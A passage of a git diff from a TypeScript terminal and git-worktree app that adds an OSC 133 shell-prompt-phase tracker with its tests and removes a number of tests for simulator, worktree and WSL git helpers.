expect(teardownBytes).not.toContain(ANY_MOTION_TRACKING_OFF) - expect(teardownBytes).not.toContain(SGR_ENCODING_OFF) - - // This fixture leaves history eligible and seeds a replacement shell from it. - const restoreInfo = await reader.detectColdRestore(sessionId) - expect(restoreInfo).not.toBeNull() - const seedChunks = [ - ...iterateTerminalHistorySeedChunks(getRecoveredHistorySeedSegments(restoreInfo!)) - ] - - const shellPty = createFakeSubprocess('zsh') - const shell = new Session({ - sessionId, - cols: 80, - rows: 24, - subprocess: shellPty, - shellReadySupported: false, - historySeedChunks: seedChunks - }) - const revived = shell.getSnapshot() - try { - expect.soft(revived?.modes.mouseTracking).toBe(false) - expect.soft(revived?.modes.mouseTrackingMode).toBe('none') - expect.soft(revived?.rehydrateSequences).toBe('') - // The serializer trailer must also be disarmed; clearing rehydrateSequences alone is insufficient. - expect.soft(revived?.snapshotAnsi).not.toContain(ANY_MOTION_TRACKING_ON) - } finally { - shell.dispose() - } - }) - it('leaves the reattached renderer xterm armed against a dead agent (SGR reports into the prompt)', async () => { const manager = new HistoryManager(dir) const reader = new HistoryReader(dir) @@ -199,54 +131,4 @@ describe('#12101 mouse tracking survives the death of the process that armed it' shell.dispose() } }) - - it('control: a TUI that DID emit DECRST before exiting restores a clean shell', async () => { - const manager = new HistoryManager(dir) - const reader = new HistoryReader(dir) - - const agentPty = createFakeSubprocess('vim') - const agent = new Session({ - sessionId, - cols: 80, - rows: 24, - subprocess: agentPty, - shellReadySupported: false - }) - agentPty.emit(`${ANY_MOTION_TRACKING_ON}${SGR_ENCODING_ON}`) - agentPty.emit('user@host ~ $ ') - await waitForEmulatorParse(agent) - agentPty.emit(`${ANY_MOTION_TRACKING_OFF}${SGR_ENCODING_OFF}`) - for (let i = 0; i < 50 && agent.getSnapshot()?.modes.mouseTracking !== false; i += 1) { - await new Promise((resolve) => setTimeout(resolve, 1)) - } - - await manager.openSession(sessionId, { cwd: '/Users/dev/feature-branch', cols: 80, rows: 24 }) - await manager.checkpoint(sessionId, agent.getSnapshot()!) - void new TerminalSessionTeardown(new Map([[sessionId, agent]])).killSession( - sessionId, - agent, - false - ) - agentPty.simulateKilledExit() - agent.dispose() - - const restoreInfo = await reader.detectColdRestore(sessionId) - const shellPty = createFakeSubprocess('zsh') - const shell = new Session({ - sessionId, - cols: 80, - rows: 24, - subprocess: shellPty, - shellReadySupported: false, - historySeedChunks: [ - ...iterateTerminalHistorySeedChunks(getRecoveredHistorySeedSegments(restoreInfo!)) - ] - }) - try { - expect(shell.getSnapshot()?.modes.mouseTracking).toBe(false) - expect(shell.getSnapshot()?.rehydrateSequences).toBe('') - } finally { - shell.dispose() - } - }) }) diff --git a/src/main/daemon/terminal-shell-lifecycle-scanner-prompt.test.ts b/src/main/daemon/terminal-shell-lifecycle-scanner-prompt.test.ts new file mode 100644 index 00000000000..1d38cc6bfc0 --- /dev/null +++ b/src/main/daemon/terminal-shell-lifecycle-scanner-prompt.test.ts @@ -0,0 +1,101 @@ +import { readFileSync } from 'node:fs' +import { join } from 'node:path' +import { describe, expect, it } from 'vitest' +import { TerminalShellLifecycleScanner } from './terminal-shell-lifecycle-scanner' +import { PtyShellOwnershipMirror } from '../runtime/pty-shell-ownership-mirror' + +const A = '\x1b]133;A\x07' +const B = '\x1b]133;B\x07' +const C = '\x1b]133;C\x07' +const D0 = '\x1b]133;D;0\x07' +const D1 = '\x1b]133;D;1\x07' +// Captured agent CLI PTY bytes: each bubble paints its own `A … B C D;0` zone while the app runs (#10923). +const APP_ZONE_TRANSCRIPT = readFileSync( + join(__dirname, '../runtime/__fixtures__/omp-user-bubble-osc133-zone.txt'), + 'utf8' +) +// Orca's bash wrapper bytes: prompt, typed command echo, C, output, D;exit, next prompt. +const shellRuns = (command: string, output: string, end = D0): string => + `${A}$ ${B}${command}\r\n${C}${output}\r\n${end}` +const PROMPT = `${A}$ ${B}` +// An agent TUI painting a bubble with output between its C and D, as no adjacency rule can catch. +const APP_BUBBLE = `${A}> ${B}hi${C}thinking…\r\n${D0}${A}> ` + +function idleAfter(...chunks: string[]): boolean { + const scanner = new TerminalShellLifecycleScanner() + for (const chunk of chunks) { + scanner.scan(chunk) + } + return scanner.isIdleAtPrompt +} + +describe('idle at a shell prompt', () => { + it('is idle once a prompt follows a cleanly finished command', () => { + expect(idleAfter(shellRuns('ls', 'file') + PROMPT)).toBe(true) + }) + + it('is idle when the markers split across chunks', () => { + const bytes = shellRuns('ls', 'file') + PROMPT + expect(idleAfter(...bytes.split(''))).toBe(true) + }) + + it('does not trust a first prompt before the shell has shown it marks command starts', () => { + expect(idleAfter(PROMPT)).toBe(false) + }) + + it('is not idle while a command runs, before its prompt returns, or after a failed command', () => { + expect(idleAfter(`${PROMPT}sleep 9\r\n${C}`)).toBe(false) + expect(idleAfter(shellRuns('ls', 'file'))).toBe(false) + expect(idleAfter(shellRuns('false', '', D1) + PROMPT)).toBe(false) + }) + + it('is not idle without shell integration', () => { + expect(idleAfter('user@host:~$ ls\r\nfile\r\nuser@host:~$ ')).toBe(false) + }) + + it('is not idle on the alternate screen or after a full reset', () => { + const idle = shellRuns('ls', 'file') + PROMPT + expect(idleAfter(idle, '\x1b[?1049h')).toBe(false) + expect(idleAfter(idle, '\x1bc')).toBe(false) + }) + + // Review case 1: a mirror seeded or created mid-session must not read an agent's own A as a prompt. + it("does not read a running agent's prompt marker as idle after a seed or a late start", () => { + const scanner = new TerminalShellLifecycleScanner() + scanner.scan(shellRuns('ls', 'file') + PROMPT) + scanner.seedOwner(undefined) + expect(scanner.isIdleAtPrompt).toBe(false) + scanner.scan(`${A}> `) + expect(scanner.isIdleAtPrompt).toBe(false) + expect(idleAfter(`agent output\r\n${A}> `)).toBe(false) + }) + + // Review case 2: a prompt-only integration never marks the agent the user typed. + it('stays not idle when the integration paints prompts but never command starts', () => { + expect(idleAfter(PROMPT, 'claude\r\n', 'agent ui', `${A}> `)).toBe(false) + expect(idleAfter(`${PROMPT}ls\r\nfile\r\n${PROMPT}`)).toBe(false) + }) + + // Review case 3: an app's zones inside the shell's command never close that command. + it.each([ + ['captured adjacent B C D;0 zones', APP_ZONE_TRANSCRIPT], + ['output between the app C and D', APP_BUBBLE], + ['a nonzero app D', `${A}> ${B}${C}err\r\n${D1}${A}> `], + ['a lone app C and D', `${C}out\r\n${D0}${A}> `] + ])("ignores an app's %s while the shell's command runs", (_name, app) => { + expect(idleAfter(`${PROMPT}agent\r\n${C}`, app)).toBe(false) + expect(idleAfter(`${PROMPT}agent\r\n${C}`, app, app)).toBe(false) + }) + + // Review case 4: one prompt admits one fast submit; the next needs a fresh prompt. + it('admits one claim per prompt cycle', () => { + const mirror = new PtyShellOwnershipMirror(async () => false) + mirror.scan(shellRuns('ls', 'file') + PROMPT) + expect(mirror.claimIdlePrompt()).toBe(true) + expect(mirror.claimIdlePrompt()).toBe(false) + mirror.scan(`claude\r\n${PROMPT}`) + expect(mirror.claimIdlePrompt()).toBe(false) + mirror.scan(shellRuns('pwd', '/tmp') + PROMPT) + expect(mirror.claimIdlePrompt()).toBe(true) + }) +}) diff --git a/src/main/daemon/terminal-shell-lifecycle-scanner.ts b/src/main/daemon/terminal-shell-lifecycle-scanner.ts index 2c69594c79a..42580e73032 100644 --- a/src/main/daemon/terminal-shell-lifecycle-scanner.ts +++ b/src/main/daemon/terminal-shell-lifecycle-scanner.ts @@ -2,6 +2,7 @@ import { buildProcessBoundaryGround } from '../../shared/terminal-mode-reset-pro import { closesAppOsc133Zone } from '../../shared/terminal-osc133-command-finished' import type { TerminalOwner } from '../../shared/terminal-owner' import { TerminalArmedInputModes } from './terminal-armed-input-modes' +import { TerminalShellPromptPhase } from './terminal-shell-prompt-phase' // Retain split DECSET/OSC payloads across PTY or SSH chunks without unbounded memory. const SCAN_TAIL_LIMIT = 4096 @@ -46,6 +47,7 @@ export class TerminalShellLifecycleScanner { private altActive = false private commandEnteredAlternateScreen = false private adjacentMarkers = '' + private readonly promptPhase = new TerminalShellPromptPhase() private readonly inputModes = new TerminalArmedInputModes() get owner(): TerminalOwner | undefined { @@ -60,6 +62,16 @@ export class TerminalShellLifecycleScanner { return this.altActive } + /** Markers suggest an idle shell prompt; a hint only, since any program can print them. */ + get isIdleAtPrompt(): boolean { + return this.promptPhase.atPrompt && !this.altActive + } + + /** Input was just submitted: no prompt is idle until the next clean cycle. */ + forgetIdlePrompt(): void { + this.promptPhase.reset() + } + trySetOwner(generation: number): boolean { if (generation !== this.generationState) { return false @@ -79,6 +91,7 @@ export class TerminalShellLifecycleScanner { seedOwner(owner: TerminalOwner | undefined, opts: { alternateScreen?: boolean } = {}): void { this.generationState += 1 this.ownerState = owner + this.promptPhase.reset() if (opts.alternateScreen !== undefined) { // Restored bytes bypass scan(), so seed alternate-screen state to retain death detection. this.altActive = opts.alternateScreen @@ -111,12 +124,14 @@ export class TerminalShellLifecycleScanner { if (match[0] === '\x1bc') { this.revoke() this.inputModes.reset() + this.promptPhase.reset() this.altActive = false this.commandEnteredAlternateScreen = false continue } if (oscPayload !== undefined) { const marker = oscPayload[0] + this.promptPhase.observe(oscPayload, markersBefore) if (marker === 'C') { this.revoke() this.inputModes.markCommandStart() diff --git a/src/main/daemon/terminal-shell-prompt-phase.ts b/src/main/daemon/terminal-shell-prompt-phase.ts new file mode 100644 index 00000000000..f94e9eaacb9 --- /dev/null +++ b/src/main/daemon/terminal-shell-prompt-phase.ts @@ -0,0 +1,42 @@ +import { closesAppOsc133Zone } from '../../shared/terminal-osc133-command-finished' + +/** OSC 133 hint that a shell sits at its prompt. Apps print these markers too (#10923), so any + * doubt is 'unknown' and only a clean C → D;0 → A cycle at the shell's own depth reaches 'prompt'. */ +export class TerminalShellPromptPhase { + private phase: 'unknown' | 'command' | 'ended' | 'prompt' = 'unknown' + // Zones an app or nested shell opened inside the shell's command; their D closes them, not it. + private nestedZones = 0 + + get atPrompt(): boolean { + return this.phase === 'prompt' + } + + reset(): void { + this.phase = 'unknown' + this.nestedZones = 0 + } + + observe(payload: string, adjacentMarkersBefore: string): void { + const marker = payload[0] + if (this.phase === 'command') { + if (marker === 'A' || (marker === 'C' && this.nestedZones === 0)) { + this.nestedZones += 1 + } else if (marker === 'D' && this.nestedZones > 0) { + this.nestedZones -= 1 + } else if (marker === 'D') { + // A failed or unlabeled exit, or an app-closed zone, is doubt rather than a shell return. + const clean = payload === 'D;0' && !closesAppOsc133Zone(adjacentMarkersBefore, payload) + this.phase = clean ? 'ended' : 'unknown' + } + return + } + if (marker === 'C') { + this.phase = 'command' + this.nestedZones = 0 + } else if (marker === 'A') { + this.phase = this.phase === 'ended' || this.phase === 'prompt' ? 'prompt' : 'unknown' + } else if (marker === 'D') { + this.phase = 'unknown' + } + } +} diff --git a/src/main/emulator/serve-sim-execution.test.ts b/src/main/emulator/serve-sim-execution.test.ts deleted file mode 100644 index 6d3e3b9fd22..00000000000 --- a/src/main/emulator/serve-sim-execution.test.ts +++ /dev/null @@ -1,121 +0,0 @@ -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' - -const appEnvironmentMocks = vi.hoisted(() => ({ - getAppPath: vi.fn(), - getPath: vi.fn(), - getVersion: vi.fn() -})) -const materializerMocks = vi.hoisted(() => ({ - materializeServeSimRuntime: vi.fn() -})) - -vi.mock('../../shared/app-environment', () => ({ - getAppEnvironment: () => appEnvironmentMocks -})) -vi.mock('./serve-sim-runtime-materializer', () => materializerMocks) - -import { resolveServeSimExecutable } from './serve-sim-execution' - -const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform') -const originalResourcesPath = Object.getOwnPropertyDescriptor(process, 'resourcesPath') -const cleanupPaths: string[] = [] - -function setProcessProperty(name: 'platform' | 'resourcesPath', value: string): void { - Object.defineProperty(process, name, { configurable: true, value }) -} - -function restoreProcessProperty( - name: 'platform' | 'resourcesPath', - descriptor?: PropertyDescriptor -) { - if (descriptor) { - Object.defineProperty(process, name, descriptor) - } else { - Reflect.deleteProperty(process, name) - } -} - -async function createServeSimPackage(packageDir: string): Promise { - const entry = join(packageDir, 'dist', 'serve-sim.js') - await mkdir(join(packageDir, 'dist'), { recursive: true }) - await writeFile(entry, 'console.log("serve-sim")') - return entry -} - -beforeEach(async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-serve-sim-execution-')) - cleanupPaths.push(root) - setProcessProperty('platform', 'linux') - setProcessProperty('resourcesPath', join(root, 'resources')) - appEnvironmentMocks.getAppPath.mockReset().mockReturnValue(join(root, 'app')) - appEnvironmentMocks.getPath.mockReset().mockReturnValue(join(root, 'user-data')) - appEnvironmentMocks.getVersion.mockReset().mockReturnValue('test-version') - materializerMocks.materializeServeSimRuntime.mockReset() -}) - -afterEach(async () => { - restoreProcessProperty('platform', originalPlatform) - restoreProcessProperty('resourcesPath', originalResourcesPath) - await Promise.all( - cleanupPaths.splice(0).map((path) => rm(path, { recursive: true, force: true })) - ) -}) - -describe('resolveServeSimExecutable', () => { - it('preserves the legacy Resources/serve-sim path as the first packaged choice', async () => { - const resourcesPath = process.resourcesPath - const legacyEntry = await createServeSimPackage(join(resourcesPath, 'serve-sim')) - await createServeSimPackage(join(resourcesPath, 'node_modules', 'serve-sim')) - - expect(resolveServeSimExecutable()).toEqual({ - command: process.execPath, - baseArgs: [legacyEntry], - usesElectronAsNode: true - }) - expect(appEnvironmentMocks.getAppPath).not.toHaveBeenCalled() - }) - - it('uses the deduplicated Resources/node_modules/serve-sim package', async () => { - const packagedEntry = await createServeSimPackage( - join(process.resourcesPath, 'node_modules', 'serve-sim') - ) - - expect(resolveServeSimExecutable()).toEqual({ - command: process.execPath, - baseArgs: [packagedEntry], - usesElectronAsNode: true - }) - expect(appEnvironmentMocks.getAppPath).not.toHaveBeenCalled() - }) - - it('materializes either packaged resource location on macOS', async () => { - setProcessProperty('platform', 'darwin') - const packagedPackageDir = join(process.resourcesPath, 'node_modules', 'serve-sim') - await createServeSimPackage(packagedPackageDir) - const materializedPackageDir = join(process.resourcesPath, 'materialized-serve-sim') - materializerMocks.materializeServeSimRuntime.mockReturnValue(materializedPackageDir) - - expect(resolveServeSimExecutable()).toEqual({ - command: process.execPath, - baseArgs: [join(materializedPackageDir, 'dist', 'serve-sim.js')], - usesElectronAsNode: true - }) - expect(materializerMocks.materializeServeSimRuntime).toHaveBeenCalledWith( - expect.objectContaining({ bundledPackageDir: packagedPackageDir }) - ) - }) - - it('preserves the app node_modules development fallback', async () => { - const appPackageDir = join(appEnvironmentMocks.getAppPath(), 'node_modules', 'serve-sim') - const appEntry = await createServeSimPackage(appPackageDir) - - expect(resolveServeSimExecutable()).toEqual({ - command: process.execPath, - baseArgs: [appEntry], - usesElectronAsNode: true - }) - }) -}) diff --git a/src/main/emulator/serve-sim-runtime-materializer.test.ts b/src/main/emulator/serve-sim-runtime-materializer.test.ts index 0554d248f8d..079f4d13294 100644 --- a/src/main/emulator/serve-sim-runtime-materializer.test.ts +++ b/src/main/emulator/serve-sim-runtime-materializer.test.ts @@ -162,19 +162,6 @@ describe('materializeServeSimRuntime', () => { expect(leftovers).toEqual([]) }) - it('returns null when the bundled package is missing', async () => { - const root = await createRoot() - - const materialized = materializeServeSimRuntime({ - bundledPackageDir: join(root, 'does-not-exist'), - targetRootDir: join(root, 'runtime'), - version: '1.2.3', - clearQuarantine: () => {} - }) - - expect(materialized).toBeNull() - }) - it('links each bundled dependency next to the copy and skips ones the bundle lacks', async () => { const root = await createRoot() const bundledPackageDir = await createBundledServeSimPackage(root) diff --git a/src/main/emulator/simctl-simulator-devices.test.ts b/src/main/emulator/simctl-simulator-devices.test.ts index 52cfd7c1b3c..bcb26e4c695 100644 --- a/src/main/emulator/simctl-simulator-devices.test.ts +++ b/src/main/emulator/simctl-simulator-devices.test.ts @@ -35,50 +35,6 @@ describe('listSimulatorDevices', () => { platformMock.mockReturnValue('darwin') }) - it('parses simctl devices on macOS', async () => { - execFileMock.mockImplementation((_command, _args, _options, callback) => { - callback( - null, - JSON.stringify({ - devices: { - 'com.apple.CoreSimulator.SimRuntime.iOS-18-0': [ - { - name: 'iPhone 17 Pro', - udid: 'AAAAAAAA-BBBB-CCCC-DDDD-EEEEEEEEEEEE', - state: 'Shutdown', - isAvailable: true - } - ] - } - }), - '' - ) - }) - - await expect(listSimulatorDevices()).resolves.toEqual([ - { - name: 'iPhone 17 Pro', - udid: 'AAAAAAAA-BBBB-CCCC-DDDD-EEEEEEEEEEEE', - state: 'Shutdown', - runtime: 'com.apple.CoreSimulator.SimRuntime.iOS-18-0', - isAvailable: true - } - ]) - expect(execFileMock).toHaveBeenCalledWith( - 'xcrun', - ['simctl', 'list', 'devices', '-j'], - { timeout: 15_000 }, - expect.any(Function) - ) - }) - - it('returns no devices on non-macOS hosts', async () => { - platformMock.mockReturnValue('linux') - - await expect(listSimulatorDevices()).resolves.toEqual([]) - expect(execFileMock).not.toHaveBeenCalled() - }) - it('normalizes missing simctl errors for UI and CLI callers', async () => { execFileMock.mockImplementation((_command, _args, _options, callback) => { callback( diff --git a/src/main/git/add-sparse-worktree.test.ts b/src/main/git/add-sparse-worktree.test.ts index 75db0437573..cee97ea0a52 100644 --- a/src/main/git/add-sparse-worktree.test.ts +++ b/src/main/git/add-sparse-worktree.test.ts @@ -69,36 +69,6 @@ describe('addSparseWorktree', () => { platformSpy.mockRestore() }) - it('enables long paths on the Windows commands that actually write the deep checkout', async () => { - platformSpy.mockReturnValue('win32') - gitExecFileAsyncMock.mockResolvedValue({ stdout: '', stderr: '' }) - - await addSparseWorktree('C:\\repo', 'C:\\repo-feature', 'feature/test', ['packages/web']) - - const calls = getGitCalls() - expect(calls).toEqual( - expect.arrayContaining([ - 'git -c core.longpaths=true sparse-checkout set -- packages/web', - 'git -c core.longpaths=true checkout feature/test' - ]) - ) - }) - - it('omits the long-path option on non-Windows hosts', async () => { - gitExecFileAsyncMock.mockResolvedValue({ stdout: '', stderr: '' }) - - await addSparseWorktree('/repo', '/repo-feature', 'feature/test', ['packages/web']) - - const calls = getGitCalls() - expect(calls).toEqual( - expect.arrayContaining([ - 'git sparse-checkout set -- packages/web', - 'git checkout feature/test' - ]) - ) - expect(calls.some((call) => call.includes('core.longpaths'))).toBe(false) - }) - it('separates sparse checkout directory operands from options', async () => { gitExecFileAsyncMock.mockResolvedValue({ stdout: '', stderr: '' }) diff --git a/src/main/git/canonical-repo-key.test.ts b/src/main/git/canonical-repo-key.test.ts index 3ae96da7ea3..5e06a9b1e0b 100644 --- a/src/main/git/canonical-repo-key.test.ts +++ b/src/main/git/canonical-repo-key.test.ts @@ -23,10 +23,6 @@ afterEach(() => { }) describe('readGitCommonDir', () => { - it('reads the absolute answer modern Git gives', () => { - expect(readGitCommonDir('/repo/.git\n', '/repo/worktrees/a')).toBe('/repo/.git') - }) - it('drops the flag Git older than 2.31 echoes back, and resolves the relative answer', () => { expect(readGitCommonDir('--path-format=absolute\n.git\n', '/repo')).toBe('/repo/.git') }) @@ -34,32 +30,9 @@ describe('readGitCommonDir', () => { it('resolves a WSL answer in Git execution space, not against the UNC path', () => { expect(readGitCommonDir('.git\n', '//wsl$/Ubuntu/home/dev/repo')).toBe('/home/dev/repo/.git') }) - - it('tolerates CRLF and blank lines', () => { - expect(readGitCommonDir('\r\n/repo/.git\r\n', '/repo')).toBe('/repo/.git') - }) - - it('returns undefined when Git printed nothing usable', () => { - expect(readGitCommonDir('\n', '/repo')).toBeUndefined() - }) }) describe('getCanonicalRepoKey', () => { - it('gives every worktree of one repository the same key', async () => { - gitExecFileAsyncMock.mockResolvedValue({ stdout: '/repo/.git\n', stderr: '' }) - - await expect(getCanonicalRepoKey('/repo')).resolves.toBe('local::/repo/.git') - await expect(getCanonicalRepoKey('/repo/worktrees/a')).resolves.toBe('local::/repo/.git') - }) - - it('scopes the key to the execution host', async () => { - gitExecFileAsyncMock.mockResolvedValue({ stdout: '/home/dev/repo/.git\n', stderr: '' }) - - await expect( - getCanonicalRepoKey('//wsl$/Ubuntu/home/dev/repo', { wslDistro: 'Ubuntu' }) - ).resolves.toBe('wsl:Ubuntu::/home/dev/repo/.git') - }) - it('caches so repeated arming costs no subprocess', async () => { gitExecFileAsyncMock.mockResolvedValue({ stdout: '/repo/.git\n', stderr: '' }) @@ -68,10 +41,4 @@ describe('getCanonicalRepoKey', () => { expect(gitExecFileAsyncMock).toHaveBeenCalledTimes(1) }) - - it('falls back to the caller path when Git cannot answer', async () => { - gitExecFileAsyncMock.mockRejectedValue(new Error('not a git repository')) - - await expect(getCanonicalRepoKey('/not-a-repo')).resolves.toBe('local::/not-a-repo') - }) }) diff --git a/src/main/git/command-runner/wsl-host-failure.test.ts b/src/main/git/command-runner/wsl-host-failure.test.ts index aaef4140a26..d8c55da9064 100644 --- a/src/main/git/command-runner/wsl-host-failure.test.ts +++ b/src/main/git/command-runner/wsl-host-failure.test.ts @@ -16,7 +16,7 @@ vi.mock('../../diagnostics/main-thread-churn-probe', () => ({ recordSubprocessSp import { gitExecFileAsync } from '../runner' import { _resetGitAdmissionForTests } from './git-subprocess-admission' -import { nonInteractiveGitEnv } from './git-process-env' + import { annotateWslHostFailure, readWslHostFailureDiagnostic } from './wsl-host-failure' import type { ResolvedCommand } from './wsl-command-resolution' @@ -106,11 +106,6 @@ describe('WSL-routed git subprocess', () => { _resetGitAdmissionForTests() }) - it('sets WSL_UTF8 so wsl.exe explains itself in UTF-8', () => { - expect(nonInteractiveGitEnv({}, 'win32').WSL_UTF8).toBe('1') - expect(nonInteractiveGitEnv({}, 'darwin').WSL_UTF8).toBeUndefined() - }) - it('reports a dead distro instead of an empty git error', async () => { execFileMock.mockImplementation((_command, _args, _options, callback) => { const child = new EventEmitter() as EventEmitter & { pid: number; kill: () => void } diff --git a/src/main/git/runner-wsl-login-shell-capture.test.ts b/src/main/git/runner-wsl-login-shell-capture.test.ts index dd3b78d9b5f..23eb93cba1a 100644 --- a/src/main/git/runner-wsl-login-shell-capture.test.ts +++ b/src/main/git/runner-wsl-login-shell-capture.test.ts @@ -23,6 +23,8 @@ import { _resetGitAdmissionForTests } from './command-runner/git-subprocess-admi afterEach(() => _resetGitAdmissionForTests()) import { resetWslGitReadEnvironmentForTests } from './wsl-git-read-environment' +const originalPlatform = process.platform + const DISTRO = 'Ubuntu' const WSL_CWD = String.raw`\\wsl.localhost\Ubuntu\home\alice\repo` const BANNER = 'To run a command as administrator (user "root"), use "sudo ".\n\n' @@ -66,21 +68,10 @@ describe('WSL login-shell reads are fenced', () => { }) afterEach(() => { - Object.defineProperty(process, 'platform', { configurable: true, value: process.platform }) + Object.defineProperty(process, 'platform', { configurable: true, value: originalPlatform }) resetWslGitReadEnvironmentForTests() }) - it('returns blob bytes without the login-shell banner', async () => { - respondWithFencedPayload('line one\nline two\n') - - const { stdout } = await gitExecFileAsyncBuffer(['show', ':file.txt'], { - cwd: WSL_CWD, - wslDistro: DISTRO - }) - - expect(stdout.toString('utf8')).toBe('line one\nline two\n') - }) - it('keeps binary blob bytes intact through the fence', async () => { const binary = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x00, 0xff, 0xfe, 0x0a, 0x00, 0x1b]) respondWithFencedPayload(binary) diff --git a/src/main/git/source-control/drive-checkout-suspect-status.test.ts b/src/main/git/source-control/drive-checkout-suspect-status.test.ts index 69b1d333702..172a06726ed 100644 --- a/src/main/git/source-control/drive-checkout-suspect-status.test.ts +++ b/src/main/git/source-control/drive-checkout-suspect-status.test.ts @@ -142,14 +142,6 @@ describe('reconcileDriveCheckoutSuspects', () => { }) } - it('does nothing for checkouts outside the Windows-checkout config', async () => { - mocks.appliesTo = new Set() - await reconcileDriveCheckoutSuspects(repo, [], {}) - changed(['a.ts']) - expect(await reconcileDriveCheckoutSuspects(repo, [], {})).toEqual([]) - expect(mocks.gitStreamStdout).not.toHaveBeenCalled() - }) - it('rechecks only suspects minimal status reported clean, keeping the dirty ones', async () => { await touchFiles(['clean.ts', 'hidden edit.ts', 'already.ts']) await reconcileDriveCheckoutSuspects(repo, [], {}) diff --git a/src/main/git/worktree-base-divergence.test.ts b/src/main/git/worktree-base-divergence.test.ts index f1b97b808f2..123e935952b 100644 --- a/src/main/git/worktree-base-divergence.test.ts +++ b/src/main/git/worktree-base-divergence.test.ts @@ -4,14 +4,10 @@ const mocks = vi.hoisted(() => ({ gitExecFileAsync: vi.fn() })) vi.mock('./runner', () => ({ gitExecFileAsync: mocks.gitExecFileAsync })) -import { GIT_READ_TIMEOUT_MS } from './command-runner/git-command-timeout' import { GitAdmissionScheduler } from './command-runner/git-subprocess-admission' import type { GitAdmissionTier } from './command-runner/git-exec-options' -import { WSL_GIT_READ_ENVIRONMENT_WAIT_MS } from './wsl-git-read-environment' -import { - measureRetargetDivergence, - RETARGET_DIVERGENCE_BUDGET_MS -} from './worktree-base-divergence' + +import { measureRetargetDivergence } from './worktree-base-divergence' type ExecOptions = { cwd: string @@ -21,10 +17,6 @@ type ExecOptions = { admissionTier?: GitAdmissionTier } -function callOptions(): ExecOptions[] { - return mocks.gitExecFileAsync.mock.calls.map((call) => call[1] as ExecOptions) -} - function subcommands(): string[] { return mocks.gitExecFileAsync.mock.calls.map((call) => (call[0] as string[])[0]!) } @@ -73,32 +65,6 @@ describe('measureRetargetDivergence deadlines', () => { } }) - it('puts every probe under one shared budget, not a budget each', async () => { - answerProbes('3\n') - - await expect( - measureRetargetDivergence('/repo', 'refs/heads/main', 'refs/remotes/origin/main') - ).resolves.toBe('within') - - expect(subcommands()).toEqual(['rev-list', 'rev-list', 'merge-base']) - const signals = callOptions().map((options) => options.signal) - // One budget spans all staged probes; per-probe budgets would add together. - expect(new Set(signals).size).toBe(1) - expect(signals[0]).toBeInstanceOf(AbortSignal) - }) - - it('also gives each probe a command timeout well below git default read deadline', async () => { - answerProbes('3\n') - - await measureRetargetDivergence('/repo', 'refs/heads/main', 'refs/remotes/origin/main') - - // Signals cover pre-spawn waits; command timeouts still bound a hung spawn. - for (const options of callOptions()) { - expect(options.timeout).toBe(RETARGET_DIVERGENCE_BUDGET_MS) - } - expect(RETARGET_DIVERGENCE_BUDGET_MS).toBeLessThan(GIT_READ_TIMEOUT_MS) - }) - it('really aborts the in-flight probes when the shared budget expires', async () => { mocks.gitExecFileAsync.mockImplementation( (_args: string[], options: ExecOptions) => @@ -121,12 +87,6 @@ describe('measureRetargetDivergence deadlines', () => { ).resolves.toBe('unknown') }) - it('clears the WSL read-environment wait, which starts before any command timeout', () => { - // Leave walk headroom after the first WSL environment probe. - expect(RETARGET_DIVERGENCE_BUDGET_MS).toBeGreaterThan(WSL_GIT_READ_ENVIRONMENT_WAIT_MS) - expect(RETARGET_DIVERGENCE_BUDGET_MS).toBeLessThan(GIT_READ_TIMEOUT_MS) - }) - it('stops the probes when the create itself is cancelled, without waiting for the budget', async () => { mocks.gitExecFileAsync.mockImplementation( (_args: string[], options: ExecOptions) => @@ -194,16 +154,4 @@ describe('measureRetargetDivergence deadlines', () => { ).resolves.toBe('exceeded') expect(subcommands()).not.toContain('merge-base') }) - - it('routes every probe to the caller-named WSL distro', async () => { - answerProbes('1\n') - - await measureRetargetDivergence('/repo', 'refs/heads/main', 'refs/remotes/origin/main', { - wslDistro: 'Ubuntu' - }) - - for (const options of callOptions()) { - expect(options).toMatchObject({ cwd: '/repo', wslDistro: 'Ubuntu' }) - } - }) }) diff --git a/src/main/git/worktree-created-description-real-git.test.ts b/src/main/git/worktree-created-description-real-git.test.ts index cda6261e119..ee7c2e88d68 100644 --- a/src/main/git/worktree-created-description-real-git.test.ts +++ b/src/main/git/worktree-created-description-real-git.test.ts @@ -55,12 +55,6 @@ describe('describeCreatedWorktree against the real Git binary', () => { ) }) - it('accepts a fully qualified branch ref', async () => { - await expect( - describeCreatedWorktree(repoPath, worktreePath, 'refs/heads/feature') - ).resolves.toMatchObject({ branch: 'refs/heads/feature', isMainWorktree: false }) - }) - it('rejects a checkout owned by a different repo', async () => { const otherRepo = join(scratchDir, 'other') await seedRepo(otherRepo, 'other@example.invalid') diff --git a/src/main/git/worktree-posix-path-case-sensitivity.test.ts b/src/main/git/worktree-posix-path-case-sensitivity.test.ts index dc27f68da89..d66ea4d2fab 100644 --- a/src/main/git/worktree-posix-path-case-sensitivity.test.ts +++ b/src/main/git/worktree-posix-path-case-sensitivity.test.ts @@ -38,7 +38,7 @@ import { createGitCommandMocker, resetWorktreeRemovalState } from './remove-worktree-test-harness' -import { areWorktreePathsEqual, canonicalWorktreePath } from './worktree-path-comparison' +import { areWorktreePathsEqual } from './worktree-path-comparison' import { removeWorktree } from './worktree' const mockGitCommands = createGitCommandMocker(gitExecFileAsyncMock) @@ -47,13 +47,6 @@ const getGitCalls = createGitCallReader(gitExecFileAsyncMock) const UNC = '\\\\wsl.localhost\\Ubuntu\\home\\alice\\ws' describe('worktree path comparison across path syntaxes', () => { - it('keeps two WSL UNC worktrees that differ only in case distinct', () => { - expect(areWorktreePathsEqual(`${UNC}\\Feature`, `${UNC}\\feature`, 'win32')).toBe(false) - expect(canonicalWorktreePath(`${UNC}\\Feature`, 'win32')).not.toBe( - canonicalWorktreePath(`${UNC}\\feature`, 'win32') - ) - }) - it('keeps two POSIX worktrees that differ only in case distinct on a Windows desktop', () => { expect(areWorktreePathsEqual('/home/alice/ws/Feature', '/home/alice/ws/feature', 'win32')).toBe( false diff --git a/src/main/git/wsl-process-group-termination.test.ts b/src/main/git/wsl-process-group-termination.test.ts index 776a614bb5a..f0845c1d718 100644 --- a/src/main/git/wsl-process-group-termination.test.ts +++ b/src/main/git/wsl-process-group-termination.test.ts @@ -23,24 +23,6 @@ describe('WSL process-group termination', () => { 